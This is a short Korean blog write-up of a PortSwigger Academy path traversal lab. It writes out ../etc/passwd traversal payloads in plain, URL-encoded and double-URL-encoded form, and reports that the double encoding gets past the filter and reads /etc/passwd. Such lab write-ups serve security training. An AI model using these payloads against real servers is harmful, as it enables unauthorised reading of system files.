Penetration Testing/Portswigger Academy

[Portswigger] File path traversal, traversal sequences stripped with superfluous URL-decode

Jiniloolu 2023. 10. 26. 14:18

Path Traversal 문제이다.

제목에서 불필요한 URL decode로 경로 조작 시퀀스를 제거했다..는 뜻이다.

여기서 URL Encoding 으로 우회가 가능하다는 생각이 든다.

 


먼저 ../../../../../etc/passwd 입력 시 "No such file" 응답을 확인할 수 있다. 

 

 

그렇다면, 제목에서 힌트를 얻은 것처럼 url encoding을 활용해보자.

../../../../../etc/passwd 는

%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd 로 작성이 가능하다.

 

그러나 % 특수문자를 필터링하는 것인지.. 위와 같은 response 를 확인했다. 

그렇다면 💡 double url encoding 을 활용해보자!

 

../../../../../etc/passwd

 

[ url encoding ]

%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

 

[ double url encoding ]

%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

 

 

double url encoding 으로 request 를 보내면? /etc/passwd 에 접근이 가능하게 된다. 👏